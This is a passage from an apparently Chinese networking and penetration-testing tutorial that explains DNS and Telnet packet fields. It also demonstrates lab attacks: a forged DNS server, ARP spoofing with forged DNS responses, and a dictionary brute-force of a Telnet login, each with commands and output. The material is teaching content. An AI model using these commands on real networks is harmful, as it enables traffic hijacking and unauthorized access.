  • ·Z:保留字段,在所有的请求和应答报文中,它的值必须为0。
  • ·rcode(Reply code):返回码字段,表示响应的差错状态。当值为0时,表示没有错误;当值为1时,表示报文格式错误(Format error),服务器不能理解请求的报文;当值为2时,表示域名服务器失败(Serverfailure),因为服务器的原因导致没办法处理这个请求;当值为3时,表示名字错误(Name Error),只有对授权域名解析服务器有意义,指出解析的域名不存在;当值为4时,表示查询类型不支持(Not Implemented),即域名服务器不支持查询类型;当值为5时,表示拒绝(Refused),一般是服务器由于设置的策略拒绝给出应答,如服务器不希望对某些请求者给出应答。

为了能够更好地了解DNS数据包的基础结构部分,下面通过捕获的DNS数据包查看基础结构部分。

(1)DNS请求数据包基础结构部分,如图所示。

图中的数据包为DNS请求包,Domain Name System(query)部分方框标注中的信息为DNS报文中的基础结构部分。

为了方便讲解这里将信息列出进行说明: 

Domain Name System (query)
Transaction ID: 0x9ad0 #事务ID
Flags: 0x0000 Standard query #报文中的标志字段
0... .... .... .... = Response: Message is a query
#QR字段,值为0,因为是一个请求包
.000 0... .... .... = Opcode: Standard query (0)
#Opcode字段,值为0,因为是标准查询
.... ..0. .... .... = Truncated: Message is not truncated
#TC字段
.... ...0 .... .... = Recursion desired: Don't do query recursively
#RD字段
.... .... .0.. .... = Z: reserved (0) #保留字段,值为0
.... .... ...0 .... = Non-authenticated data: Unacceptable
#保留字段,值为0
Questions: 1 #问题计数,这里有1个问题
Answer RRs: 0 #回答资源记录数
Authority RRs: 0 #权威名称服务器计数
Additional RRs: 0 #附加资源记录数

以上输出信息显示了DNS请求报文中基础结构部分中包含的字段以及对应的值。这里需要注意的是,在请求中Questions的值不可能为0;Answer RRs,Authority RRs,Additional RRs的值都为0,因为在请求中还没有响应的查询结果信息。这些信息在响应包中会有相应的值。

(2)DNS响应数据包基础结构部分如图所示。

图中方框标注部分为响应包中基础结构部分,每个字段如下:

Domain Name System (response)
Transaction ID: 0x9ad0 #事务ID
Flags: 0x8180 Standard query response, No error #报文中的标志字段
1... .... .... .... = Response: Message is a response
#QR字段,值为1,因为是一个响应包
.000 0... .... .... = Opcode: Standard query (0) # Opcode字段
.... .0.. .... .... = Authoritative: Server is not an authority for
domain #AA字段
.... ..0. .... .... = Truncated: Message is not truncated
#TC字段
.... ...1 .... .... = Recursion desired: Do query recursively
#RD字段
.... .... 1... .... = Recursion available: Server can do recursive
queries #RA字段
.... .... .0.. .... = Z: reserved (0)
.... .... ..0. .... = Answer authenticated: Answer/authority portion
was not authenticated by the server
.... .... ...0 .... = Non-authenticated data: Unacceptable
.... .... .... 0000 = Reply code: No error (0) #返回码字段
Questions: 1
Answer RRs: 2
Authority RRs: 5
Additional RRs: 5

以上输出信息中加粗部分为DNS响应包比请求包中多出来的字段信息,这些字段信息只能出现在响应包中。在输出信息最后可以看到Answer RRs,Authority RRs,Additional RRs都有了相应的值(不一定全为0)。

2)问题部分

问题部分指的是报文格式中查询问题区域(Queries)部分。该部分是用来显示DNS查询请求的问题,通常只有一个问题。该部分包含正在进行的查询信息,包含查询名(被查询主机名字)、查询类型、查询类。

问题部分格式如图所示:

该部分中每个字段含义如下:

  • 查询名:一般为要查询的域名,有时也会是IP地址,用于反向查询。
  • 查询类型:DNS查询请求的资源类型。通常查询类型为A类型,表示由域名获取对应的IP地址。
  • 查询类:地址类型,通常为互联网地址,值为1。

(1)DNS请求包的问题部分字段信息,如图所示。 

下图中,Queries部分的信息为问题部分信息,每个字段说明如下: 

Domain Name System (query) #查询请求
Queries #问题部分
baidu.com: type A, class IN
Name: baidu.com #查询名字段,这里请求域名baidu.com
[Name Length: 9]
[Label Count: 2]
Type: A (Host Address) (1) #查询类型字段,这里为A类型
Class: IN (0x0001) #查询类字段,这里为互联网地址

 其中,可以看到DNS请求类型为A,那么得到的响应信息也应该为A类型。

DNS响应包的问题部分字段信息,从图中Queries部分中可以看到,响应包中的查询类型也是A,与请求包的查询类型是一致的。

3)资源记录部分

资源记录部分是指DNS报文格式中的最后三个字段,包括回答问题区域字段、权威名称服务器区域字段、附加信息区域字段。这三个字段均采用一种称为资源记录的格式,格式如图所示。

资源记录格式中每个字段含义如下:

  • 域名:DNS请求的域名。
  • 类型:资源记录的类型,与问题部分中的查询类型值是一样的。
  • 类:地址类型,与问题部分中的查询类值是一样的。
  • 生存时间:以秒为单位,表示资源记录的生命周期,一般用于当地址解析程序取出资源记录后决定保存及使用缓存数据的时间。它同时也可以表明该资源记录的稳定程度,稳定的信息会被分配一个很大的值。
  • 资源数据长度:资源数据的长度。
  • 资源数据:表示按查询段要求返回的相关资源记录的数据。

资源记录部分只有在DNS响应包中才会出现。下面通过DNS响应包来进一步了解资源记录部分的字段信息。

(1)DNS响应包的资源记录部分的字段信息,如图所示。

其中,方框中标注的信息为DNS响应报文的资源记录部分信息。该部分信息主要分为三部分信息,即回答问题区域、权威名称服务器区域、附加信息区域,下面依次分析这三部分信息。

(2)回答问题区域字段的资源记录部分信息如下:

Answers #“回答问题区域”字段
baidu.com: type A, class IN, addr 220.181.57.216 #资源记录部分
Name: baidu.com #域名字段,这里请求的域名为baidu.com
Type: A (Host Address) (1) #类型字段,这里为A类型
Class: IN (0x0001) #类字段
Time to live: 5 #生存时间
Data length: 4 #数据长度
Address: 220.181.57.216 #资源数据,这里为IP地址
baidu.com: type A, class IN, addr 123.125.115.110 #资源记录部分
Name: baidu.com
Type: A (Host Address) (1)
Class: IN (0x0001)
Time to live: 5
Data length: 4
Address: 123.125.115.110

其中,Name的值为baidu.com,表示DNS请求的域名为baidu.com;类型为A,表示要获取该域名对应的IP地址。Address的值显示了该域名对应的IP地址。这里获取到了2个IP地址,分别为220.181.57.216和123.125.115.110。

(3)权威名称服务器区域字段的资源记录部分信息如下:

Authoritative nameservers #“权威名称服务器区域”字段
baidu.com: type NS, class IN, ns ns7.baidu.com #资源记录部分
Name: baidu.com
Type: NS (authoritative Name Server) (2) #类型字段,这里为NS类型
Class: IN (0x0001)
Time to live: 5
Data length: 6
Name Server: ns7.baidu.com #权威名称服务器
baidu.com: type NS, class IN, ns dns.baidu.com #资源记录部分
Name: baidu.com
Type: NS (authoritative Name Server) (2) #类型字段,这里为NS类型
Class: IN (0x0001)
Time to live: 5
Data length: 6
Name Server: dns.baidu.com #权威名称服务器
baidu.com: type NS, class IN, ns ns3.baidu.com #资源记录部分
Name: baidu.com
Type: NS (authoritative Name Server) (2)
Class: IN (0x0001)
Time to live: 5
Data length: 6
Name Server: ns3.baidu.com #权威名称服务器
baidu.com: type NS, class IN, ns ns4.baidu.com #资源记录部分
Name: baidu.com
Type: NS (authoritative Name Server) (2)
Class: IN (0x0001)
Time to live: 5
Data length: 6
Name Server: ns4.baidu.com #权威名称服务器
baidu.com: type NS, class IN, ns ns2.baidu.com #资源记录部分
Name: baidu.com
Type: NS (authoritative Name Server) (2)
Class: IN (0x0001)
Time to live: 5
Data length: 6
Name Server: ns2.baidu.com #权威名称服务器

其中,Name的值为baidu.com,表示DNS请求的域名为baidu.com;类型为NS,表示要获取该域名的权威名称服务器名称。Name Server的值显示了该域名对应的权威名称服务器名称。这里总共获取到5个,如ns7.baidu.com。

(4)附加信息区域字段的资源记录部分信息如下:

Additional records #“附加信息区域”字段
dns.baidu.com: type A, class IN, addr 202.108.22.220 #资源记录部分
Name: dns.baidu.com #“权威名称服务器”名称
Type: A (Host Address) (1) #类型字段,这里为A类型
Class: IN (0x0001)
Time to live: 5
Data length: 4
Address: 202.108.22.220 #“权威名称服务器”的IP地址
ns2.baidu.com: type A, class IN, addr 61.135.165.235 #资源记录部分
Name: ns2.baidu.com #“权威名称服务器”名称
Type: A (Host Address) (1) #类型字段,这里为A类型
Class: IN (0x0001)
Time to live: 5
Data length: 4
Address: 61.135.165.235 #“权威名称服务器”的IP地址
ns3.baidu.com: type A, class IN, addr 220.181.37.10 #资源记录部分
Name: ns3.baidu.com #“权威名称服务器”名称
Type: A (Host Address) (1) #类型字段,这里为A类型
Class: IN (0x0001)
Time to live: 5
Data length: 4
Address: 220.181.37.10 #“权威名称服务器”的IP地址
ns4.baidu.com: type A, class IN, addr 220.181.38.10 #资源记录部分
Name: ns4.baidu.com #“权威名称服务器”名称
Type: A (Host Address) (1) #类型字段,这里为A类型
Class: IN (0x0001)
Time to live: 5
Data length: 4
Address: 220.181.38.10 #“权威名称服务器”的IP地址
ns7.baidu.com: type A, class IN, addr 180.76.76.92 #资源记录部分
Name: ns7.baidu.com #“权威名称服务器”名称
Type: A (Host Address) (1) #类型字段,这里为A类型
Class: IN (0x0001)
Time to live: 5
Data length: 4
Address: 180.76.76.92 #“权威名称服务器”的IP地址

其中,Name的值为“权威名称服务器”名称,Type的值为A,表示获取域名对应的IP地址;Address的值显示了所有获取到的权威名称服务器对应的IP地址。例如,权威名称服务器名称ns7.baidu.com对应的IP地址为180.76.76.92。

5. DNS协议应用-伪造DNS服务器

DNS服务器是进行域名和与之相对应的IP地址转换的服务器。正常情况下,用户访问域名网站,首先从DNS服务器上或权威名称服务器上获取域名对应的IP地址,然后根据该IP地址访问网站。

为了能够使用户混淆,netwox工具提供了编号为104的模块。它可以伪造DNS服务器,手动设置假的域名与IP地址的对应关系。这样,用户会获取一个域名对应的错误IP地址。

在主机192.168.59.133上伪造域名baidu.com的DNS服务器。

(1)伪造域名baidu.com的DNS服务器,伪造该域名对应的IP地址为110.111.112.113,该域名的权威名称服务器为123.baidu.com,对应的IP地址为56.67.78.89。

执行命令如下:

root@daxueba:~# netwox 104 -h baidu.com -H 110.111.112.113 -a 123.baidu.com -A 56.67.78.89

执行命令后将成功伪造域名baidu.com的DNS服务器,当有用户向该服务器请求域名baidu.com对应的IP地址时,将会给出伪造的地址。

(2)这时,使用netwox工具中编号为102的模块,请求域名baidu.com对应的IP地址,执行命令如下:

root@daxueba:~# netwox 102 -i 192.168.59.133 -n baidu.com -y a

执行命令后,将从伪造的DNS服务器(地址为192.168.59.133)上获取对应的IP地址、权威服务器以及对应的IP地址信息。

获取到的信息如下:

DNS_question_________________________________________________. #DNS请求
| id=29841 rcode=OK opcode=QUERY |
| aa=0 tr=0 rd=0 ra=0 quest=1 answer=0 auth=0 add=0 |
| baidu.com. A |
|__________________________________________________________ |
DNS_answer________________________________________________. #DNS响应
| id=29841 rcode=OK opcode=QUERY |
| aa=1 tr=0 rd=0 ra=0 quest=1 answer=1 auth=1 add=1 |
| baidu.com. A |
| baidu.com. A 10 110.111.112.113 |
#域名对应的IP地址
| 123.baidu.com. NS 10 123.baidu.com. |
#权威服务器名称
| 123.baidu.com. A 10 56.67.78.89 |
#权威服务器IP地址
|_____________________________________________________________ |

从输出信息可以看到,获取到的域名baidu.com对应的IP地址为伪造的地址110.111.112.113,该域名的权威服务器也是伪造的服务器123.baidu.com,对应的IP地址为56.67.78.89。

6. DNS协议应用——伪造DNS响应

在中间人攻击中,当用户访问特定的网站,可以通过伪造DNS响应,将用户引导到一个虚假的网站。netwox工具提供的编号为105的模块,可以用来伪造DNS响应包。

已知主机A的IP地址为192.168.59.133,主机B的IP地址为192.168.59.135。下面介绍主机A对主机B实施ARP攻击,在主机A上监听主机B的DNS请求,并伪造DNS响应。

(1)主机A对主机B实施ARP攻击,执行命令如下:

root@daxueba:~# arpspoof -i eth0 -t 192.168.59.135 192.168.59.2

该命令表示对主机B实施ARP攻击,伪造的是网关192.168.59.2。

执行命令后输出信息如下:

0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
0:c:29:fd:de:b8 0:c:29:ca:e4:66 0806 42: arp reply 192.168.59.2 is-at
0:c:29:fd:de:b8
··· #省略其他信息

上述输出信息表示成功发起了ARP攻击,使主机B认为网关192.168.59.2的MAC地址为00:0c:29:fd:de:b8(实施攻击的主机A的MAC地址)。

(2)在主机A上监听主机B的DNS请求包,并伪造DNS响应,使其返回指定的DNS响应。例如,设置DNS响应包域名www.baidu.con 对应的IP地址为101.102.103.104,权威名称服务器123.baidu.com对应的IP地址为55.66.77.88。

执行命令如下:

root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.com -A 55.66.77.88

执行命令后,没有输出信息。因为主机B没有产生DNS请求。

(3)当主机B上产生了DNS请求,该请求将会被主机A监听到,并返回设置的DNS响应包的信息。例如,当主机B访问www.baidu.con ,主机A监听并返回的DNS响应如下:

root@daxueba:~# netwox 105 -h www.baidu.com -H 101.102.103.104 -a 123.baidu.
com -A 55.66.77.88
DNS_question_______________________________________________. #DNS请求
| id=22684 rcode=OK opcode=QUERY |
| aa=0 tr=0 rd=1 ra=0 quest=1 answer=0 auth=0 add=0 |
| www.baidu.com. A |
|__________________________________________________________ |
DNS_answer________________________________________________. #DNS响应
| id=22684 rcode=OK opcode=QUERY |
| aa=1 tr=0 rd=1 ra=1 quest=1 answer=1 auth=1 add=1 |
| www.baidu.com. A |
| www.baidu.com. A 10 101.102.103.104 |
| 123.baidu.com. NS 10 123.baidu.com. |
| 123.baidu.com. A 10 55.66.77.88 |
|__________________________________________________________ |

其中,DNS_question部分为监听到的主机B发送的www.baidu.com的DNS请求包信息,DNS_answer部分为主机A伪造的DNS响应信息,成功返给了主机B。

4、Telnet协议

Telnet协议是Internet远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上远程管理主机的能力,使用者在自己的电脑上使用Telnet程序连接到服务器。然后,在Telnet程序中输入命令,这些命令将会在服务器上运行,就像直接在服务器的控制台上输入一样。

1. Telnet协议的作用

为了方便对其他主机进行控制操作,远程登录成为Internet上最广泛的应用之一。Telnet提供远程登录功能,用户在本地主机上运行Telnet客户端,就可登录到远端的Telnet服务器。

用户在本地输入的命令将由服务器运行,服务器把结果返回到本地。所以,Telnet的主要用途就是像操作本地计算机一样,操作远程计算机。

2. 工作流程

Telnet协议工作有规范的流程,大致包括连接、执行命令和断开连接3个部分。

具体工作流程如图所示:

其中,工作流程分为6个步骤,每个步骤含义如下:

  1. Telnet客户端通过TCP协议的三次握手与Telnet服务器建立连接。
  2. 建立连接后,需要通过用户名和密码才能远程登录到服务器。因此,服务器要求客户端提供用户名和密码。
  3. Telnet客户端输入用户名和密码,尝试登录服务器。
  4. 成功登录后客户端向服务器发送要执行的命令。
  5. 服务器收到客户端发来的执行命令,开始执行命令,并将结果返回给客户端。
  6. 客户端不再需要远程执行命令,将向服务器发送TCP断开数据包,用于撤销连接。

3. 常用命令

Telnet是以命令行的方式登录和管理远程计算机的,所以客户端首先需要连接远程的计算机。

执行的命令如下:

telnet 主机名

其中,主机名表示要连接的远程计算机的名称或IP地址。成功连接上以后,进入Telnet控制台。用户输入的子命令将在远程计算机上执行。

Telnet常用的子命令及含义如下:

  1. open:建立到远程主机的Telnet连接,子命令后跟主机名称或IP地址。
  2. close:关闭现有的Telnet连接。
  3. display:查看Telnet客户端的当前设置。
  4. mode:设置文件传输模式。其中,ASCII的文件传输模式适用于传输文本文件,而二进制的文件传输模式适用于其他类型的文件,如可执行文件、图片。
  5. send:向远程计算机发送特殊的Telnet协议指令序列,如终止指令序列、中断指令序列或文件结束指令序列。
  6. set:对Telnet客户端进行设置。
  7. status:显示状态信息。
  8. environ:设置环境变量。环境变量可以被操作系统用来提供特定的用户或计算机信息。
  9. logout:注销远程用户并关闭连接。
  10. quit:退出Telnet程序。
  11. unset:取消对Telnet客户端的设置。
  12. toggle:切换操作参数。
  13. z:暂停Telnet登录。
  14. ?:显示帮助信息。

4. 使用Telnet服务

Telnet服务是基于Telnet协议工作的网络服务。该服务包括服务器和客户端两部分。

1)建立Telnet客户端/服务

为了了解Telnet服务,首先需要搭建Telnet服务,并拥有一个对应的客户端。netwox工具编号170的模块可以构建Telnet服务,而编号99的模块可以作为Telnet客户端。下面演示如何使用这两个模块实现Telnet客户端远程登录服务器和执行命令。

已知主机A的IP地址为192.168.59.135,主机B的IP地址为192.168.59.133。通过这两个主机演示Telnet服务实现远程登录和执行命令。

(1)在主机A上建立Telnet服务,设置Telnet服务的用户名为sm,密码为123。

执行命令如下:

root@daxueba:~# netwox 170 -l sm -w 123

执行命令后没有任何输出信息,但已经建立Telnet服务。

(2)在主机B上建立Telnet客户端,并连接服务器。

执行命令如下:

root@daxueba:~# netwox 99 -i 192.168.59.135

输出信息如下:

Welcome 192.168.59.133
Login: sm #输入登录Telnet服务的用户名
Password: #输入登录Telnet服务的密码
You can enter a command.
Examples: /bin/ls, /bin/sh -c "pwd;ls", cmd /c dir c:, /bin/bash -i
Note: full path has to be specified
Note: cannot use 'prog1 | prog2', 'program > file' or 'program < file'
$

其中,$表示Telnet客户端已经成功登录Telnet服务器。这时,可以输入要执行的命令。

(3)查看Telnet服务器的网络配置信息,输入命令如下:

$ /sbin/ifconfig #远程执行的命令
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.59.135 netmask 255.255.255.0 broadcast 192.168.59.255
inet6 fe80::20c:29ff:feca:e466 prefixlen 64 scopeid 0x20<link>
inet6 fd15:4ba5:5a2b:1008:193e:aeb1:2bf3:17f8 prefixlen 64 scopeid
0x0<global>
inet6 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466 prefixlen 64 scopeid
0x0<global>
ether 00:0c:29:ca:e4:66 txqueuelen 1000 (Ethernet)
RX packets 320730 bytes 454342096 (433.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 147561 bytes 8943252 (8.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

上述输出信息显示了Telnet服务器的网络配置信息。例如,网络接口为eth0,IP地址为192.168.59.135,MAC地址为00:0c:29:ca:e4:66等。

2)远程登录并执行命令

上述远程操作是在成功登录Telnet服务器以后才可以执行命令。为了提高效率,netwox工具提供了编号为100的模块,它可以在登录Telnet服务器后自动执行命令。

已知Telnet服务器的IP地址为192.168.59.135,Telnet服务器的登录用户名为sm,密码为123。远程登录该Telnet服务器并执行命令查看服务器的网络配置信息。

执行命令如下:

root@daxueba:~# netwox 100 -i 192.168.59.135 -l sm -w 123 /sbin/ifconfig

输出信息如下:

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.59.135 netmask 255.255.255.0 broadcast 192.168.59.255
inet6 fe80::20c:29ff:feca:e466 prefixlen 64 scopeid 0x20<link>
inet6 fd15:4ba5:5a2b:1008:193e:aeb1:2bf3:17f8 prefixlen 64 scopeid
0x0<global>
inet6 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466 prefixlen 64 scopeid
0x0<global>
ether 00:0c:29:ca:e4:66 txqueuelen 1000 (Ethernet)
RX packets 321007 bytes 454360606 (433.3 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 147582 bytes 8946281 (8.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

5. Telnet协议包分析-透明模式

在使用Telnet服务时,Telnet提供了选项的交互和协商功能。由于交互方式不同,Telnet有两种工作模式,分别为透明模式和行模式。下面首先讲解透明模式下的协议包。

透明模式是采用一次一个字符的模式,把用户输入的命令发送给服务器。当得到服务器的回显,再对回显进行确认,表示客户端收到信息。

Telnet服务(192.168.59.135),用户名为sm,密码为123,这里分析透明模式下的Telnet协议包。

1)TCP连接

客户端连接服务器的Telnet协议包,如图所示。

这3个数据包是Telnet客户端(192.168.59.133)连接Telnet服务(192.168.59.135)发送的3次握手包。

2)Telnet协商

协商阶段是客户端和服务器之间相互请求对方,对通信过程的消息选项进行确认,明确后续消息的传送方式。

协商期间,通信的过程如下:

(1)客户端向服务器发送的选项协商数据包,如图所示。

其中,第8个数据包为客户端向服务器发送的选项协商数据包。在Telnet部分,其中,Do为命令,Echo为子命令,表示客户端要求服务器端将发送过去的字回显给自己(客户端)。第9个数据包为服务段的确认数据包,表示已经收到发来的选项协商数据包。

(2)客户端再次发送的选项协商数据包,如图所示。

其中,在数据包的Telnet部分中,Do为命令,Suppress Go Ahead为子命令,表示要抑制Go Ahead选项。激活Suppress Go Ahead选项是为了使Echo选项回显功能有效。

(3)服务器向客户端发送的选项协商数据包,如图所示。

其中,第11个数据包为服务器向客户端发送的选项协商数据包。在Telnet部分中,Will为命令,Echo为子命令,表示服务器希望客户端将发送过去的字回显给自己(服务器端)。第12个数据包为客户端的确认数据包。

(4)服务器再次发送选项协商数据包,并发送数据信息,如图所示。

3其中,第13个数据包Telnet部分中,Will为命令,Suppress Go Ahead为子命令,激活Suppress Go Ahead选项,表示服务器要抑制Go Ahead选项。同时,服务器发送了两个数据。Welcome 192.168.59.133\r\n数据表示服务器欢迎客户端(192.168.59.133)进行登录;Login数据表示需要客户端输入登录Telnet服务器端的用户名。第14个数据包为客户端的确认包,表示收到数据包。

3)Telnet认证

Telnet认证阶段主要是服务器端对客户端的身份进行确认。通信过程如下所述。

(1)客户端输入登录的用户名,对应的数据包如图所示。

该数据包的Telnet部分中,数据信息只有s(一个字符),表示客户端输入用户名的第1个字符。这是因为这里使用的是透明模式,所以客户端每输入一个字符,都会马上被发送给服务器。发送时采用明文形式。

(2)服务器进行回显,对应的数据包如图所示。

在第18个数据包的Telnet部分中,数据信息也只有一个字符s,这是服务器端输入的字符返回给了客户端。这是因为在协商阶段中,客户端要求服务器进行回显。第19个数据包为客户端对服务器回显数据包的确认。

(3)客户端继续输入登录用户名的第2个字符,如图所示。

第20个数据包传输的数据为客户端输入用户名的第2个字符m,仍然是单字节发送给服务器。第21个数据包为服务器的回显数据包,第22个数据包为客户端对服务器回显数据包的确认。以此类推,用户名字节的剩余字节也将按照单个字节的方式发送给服务器,然后服务器进行回显,最后客户端进行确认。

(4)当客户端输入完所有的用户名字符以后,按回车键换行,表示用户名输入完毕。这将产生行结束数据包,如图所示。

在第24个数据包的Telnet部分中,数据信息为\r\n,表示行结束符,即CR(回车)和LF(换行)。第25个数据包为服务器的回显数据包,第26个数据包为客户端对服务器回显数据包的确认。

(5)用户名输入完成后,服务器向客户端发送要求输入密码的数据包,如图所示。

在第27个数据包的Telnet部分中,数据信息为Password:,表示服务器要求客户端输入密码。第28个数据包为客户端的确认包。

(6)与输入用户名一样,客户端输入密码时,每输入的一个字符都被马上发送给服务器,并得到服务器的确认,但服务器不会回显密码,如图所示。

在第30个数据包的Telnet部分中,数据信息为1,表示密码的第一位是1。第31个数据包为服务器收到输入密码的确认包。以此类推,直到客户端输入所有的密码,并按回车键。

(7)客户端完成密码的输入,并按回车键后,将向服务器发送行结束数据包,如图所示。

在第36个数据包的Telnet部分中,数据信息为\r\n,表示此时客户端已经完成密码的输入。第37个数据包为服务器的确认包。

(8)服务器对完成密码输入的数据包将进行回显,如图所示。

在第38个数据包的Telnet部分中,数据信息为\r\n,是回显数据包。第39个数据包为客户端的确认包。

(9)密码成功输入以后,客户端将成功登录服务器。服务器将为客户端提供输入执行命令的会话模式,如图所示。

在第40个数据包的Telnet部分中给出了多个数据信息,最后一个数据信息为$,表示服务器为客户端提供了会话模式。在该模式下,客户端可以输入要执行的命令。第41个数据包为客户端的确认包。

4)命令交互

命令交互阶段主要完成客户端的命令输入和服务器端的执行和回显。通信过程如下:

(1)例如,客户端要查询服务器的网络配置信息,需要输入命令/sbin/ifconfig。和前面一样,每输入一个字符,都会得到服务器的回显和客户端的确认,如图所示。 

在第43个数据包的Telnet部分中,数据信息为/,表示客户端输入命令的第1个字符。第44个数据包为服务器的回显数据包,第45个数据包为客户端对回显数据包的确认。

(2)完成命令的输入以后,服务器将把命令的执行结果返回给客户端,如图所示。

第99个数据包的Telnet部分显示了命令的执行结果。第100个数据包为客户端的确认。

(3)服务器成功将命令的执行结果返回给客户端以后,再次返回会话模式,等待客户端下一个命令,如图所示。

在第101个数据包的Telnet部分中,数据信息为$,表示服务器再次回到会话模式。第102个数据包为客户端的确认。

5)断开连接

如果客户端将不再执行命令,就可以断开连接了。这时,客户端将向服务器发送断开连接的TCP数据包,如图所示。

其中,第105个数据包是客户端向服务器发送的请求断开连接的TCP[FIN,ACK]数据包;第106个数据包为服务器进行断开连接的TCP[FIN,ACK]数据包;第107个数据包为客户端的确认。

6. Telnet协议包分析-行模式

行模式是指每输入一行信息并按回车键换行时,再将这行信息发送给服务器。在该模式下,服务器不会进行回显。下面介绍行模式的通信过程。

仍然以Telnet服务(192.168.59.135),用户名为sm,密码为123为例。下面讲解行模式下的Telnet协议包。

(1)客户端连接服务器的Telnet协议包,如图所示。

(2)客户端向服务器发送的选项协商数据包,如图所示。

其中,第9个数据包为客户端向服务器发送的选项协商数据包。在Telnet部分中,Don't为命令,Echo为子命令,表示客户端要求服务器禁止回显。第10个数据包为服务段的确认数据包。 

(3)客户端再次发送的选项协商数据包,如图所示。

在第11个数据包的Telnet部分中,Don't为命令,Suppress Go Ahead为子命令,表示要服务器抑制Go Ahead选项,禁止回显。

(4)服务器向客户端发送的选项协商数据包,如图所示。

其中,第12个数据包为服务器向客户端发送的选项协商数据包。在Telnet部分中,Will为命令,Echo为子命令,表示服务器希望客户端进行回显。第13个数据包为客户端的确认数据包。

(5)服务器再次发送的选项协商数据包,如图所示。

在第14个数据包的Telnet部分中可以看到,服务器希望客户端进行回显,并激活Suppress Go Ahead选项。第15个数据包为客户端的确认数据包。

(6)选项协商完成以后,服务器向客户端显示欢迎和要求用户名登录的信息,如图所示。

其中,第23个数据包的Telnet部分中可以看到,数据是服务器的欢迎信息,并希望客户端输入登录的用户名。第24个数据包为客户端的确认数据包。

(7)客户端输入登录的用户名数据包,如图所示。

在该数据包的Telnet部分中可以看到,数据信息为sm\r\n,表示客户端已经输入了全部的用户名,并按了回车键和换行。这里sm为用户名。和透明模式不同的是,行模式不是每输入一个字符就发送给服务器,而是将每行的信息一次性发送给服务器。

(8)客户端完成输入用户名以后,服务器不会进行回显,而是向客户端发送要求输入密码的信息,如图所示。

其中,第27个数据包的Telnet部分数据信息表示服务器要求客户端输入登录的密码。第28个数据包为客户端的确认数据包。

(9)客户端输入密码,对应的数据包如图所示。

从该数据包的Telnet部分可以看到,数据信息为123\r\n,表示客户端已经输入了全部的密码,密码为123,将整个信息一次性发送给服务器。

(10)成功输入用户名和密码后,客户端将登录服务器。服务器首先向客户端显示说明信息,如图所示。

第33个数据包Telnet部分显示了大量的说明信息。例如,客户端可以输入一个命令,并给出命令实例。第34个数据包为客户端的确认数据包。

(11)服务器向客户端发送完说明信息后,将为客户端提供会话模式。客户端就可以在该模式下输入要执行的命令,如图所示。

其中,第35个数据包Telnet部分的数据信息为$,表示客户端可以在此处输入要执行的命令。第36个数据包为客户端的确认数据包。 

(12)客户端输入要执行的命令,这里输入查询服务器网络配置信、息的命令,如图所示。

第47个数据包Telnet部分的数据信息为/sbin/ifconfig\r\n,表示客户端已经输入了全部的命令。该命令被一次性发送给服务器。

(13)客户端完成输入的命令后,服务器向客户端返回命令的执行结果,如所示。

其中,第48个数据包Telnet部分显示了服务器的网络配置信息。第49个数据包为客户端的确认数据包。

(14)服务器成功向客户端返回命令的执行结果后,再次进入会话模式,等待客户端下一个命令,如图所示。

其中,第50个数据包的Telnet部分的数据信息为$,表示服务器再次回到会话模式。第51个数据包为客户端的确认数据包。

(15)如果客户端将不再执行命令,将向服务器请求断开连接。对应的数据包如图所示。

其中,第53个数据包是客户端向服务器发送的请求断开连接的TCP[FIN,ACK]数据包;第54个数据包为服务器进行断开连接的TCP[FIN,ACK]数据包;第55个数据包为客户端的确认。

7. 暴力破解Telnet服务

远程登录Telnet服务器需要知道登录的用户名和密码。如果只知道用户名而不知道密码是无法登录的。在渗透测试中,就需要对密码进行暴力破解。netwox工具提供了编号为101的模块,用于密码暴力破解。

已知Telnet服务器的IP地址为192.168.59.135,登录用户名为sm。使用密码字典password.txt进行暴力破解,获取登录的密码。

(1)查看密码字典password.txt中的密码,执行命令如下:

root@daxueba:~# cat /password.txt

输出信息如下:

admin
abc
19890106
123
ab12
root

以上输出信息显示该密码字典中有6个密码。

(2)进行密码暴力破解,执行命令如下:

root@daxueba:~# netwox 101 -i 192.168.59.135 -L sm -w /password.txt

输出信息如下:

Trying(thread1) "sm" - "admin" #尝试使用密码admin
Trying(thread2) "sm" - "abc"
Trying(thread3) "sm" - "19890106"
Trying(thread4) "sm" - "123"
Trying(thread5) "sm" - "ab12"
Couple(thread2) "sm" - "abc" -> bad
Trying(thread2) "sm" - "root"
Couple(thread1) "sm" - "admin" -> bad #使用密码admin进行匹配,密码错误
Couple(thread3) "sm" - "19890106" -> bad
Couple(thread5) "sm" - "ab12" -> bad
Couple(thread4) "sm" - "123" -> good #使用密码123进行匹配,密码正确
Couple(thread2) "sm" - "root" -> bad

输出信息显示,尝试使用密码字典的所有密码与用户名进行匹配。如果密码错误,将显示bad;如果密码正确,则显示good。这里,暴力破解成功,Telnet服务器的登录密码为123。

5、SNMP协议

简单网络管理协议(Simple Network Management Protocol,SNMP)是由互联网工程任务组定义的一套网络管理协议。该协议是基于简单网关监视协议(Simple Gateway Monitor Protocol,SGMP)制定的。SNMP可以使网络管理员通过一台工作站完成对计算机、路由器和其他网络设备的远程管理和监视。

利用SNMP协议可以更好地管理和监控网络。管理工作站可以远程管理所有支持该协议的网络设备,如监视网络状态、修改网络设备配置、接收网络事件警告等。

1. SNMP协议概述

前面我们介绍了Telnet协议可以用于连接远程计算机,并进行管理与控制,如远程执行命令。这种情况下,执行的命令有一定的局限性,如只能执行远程主机上支持的命令。由于网络设备越来越多,网络规模越来越大,管理这些设备也越来越重要。远程管理网络的需求日益迫切,SNMP应运而生。

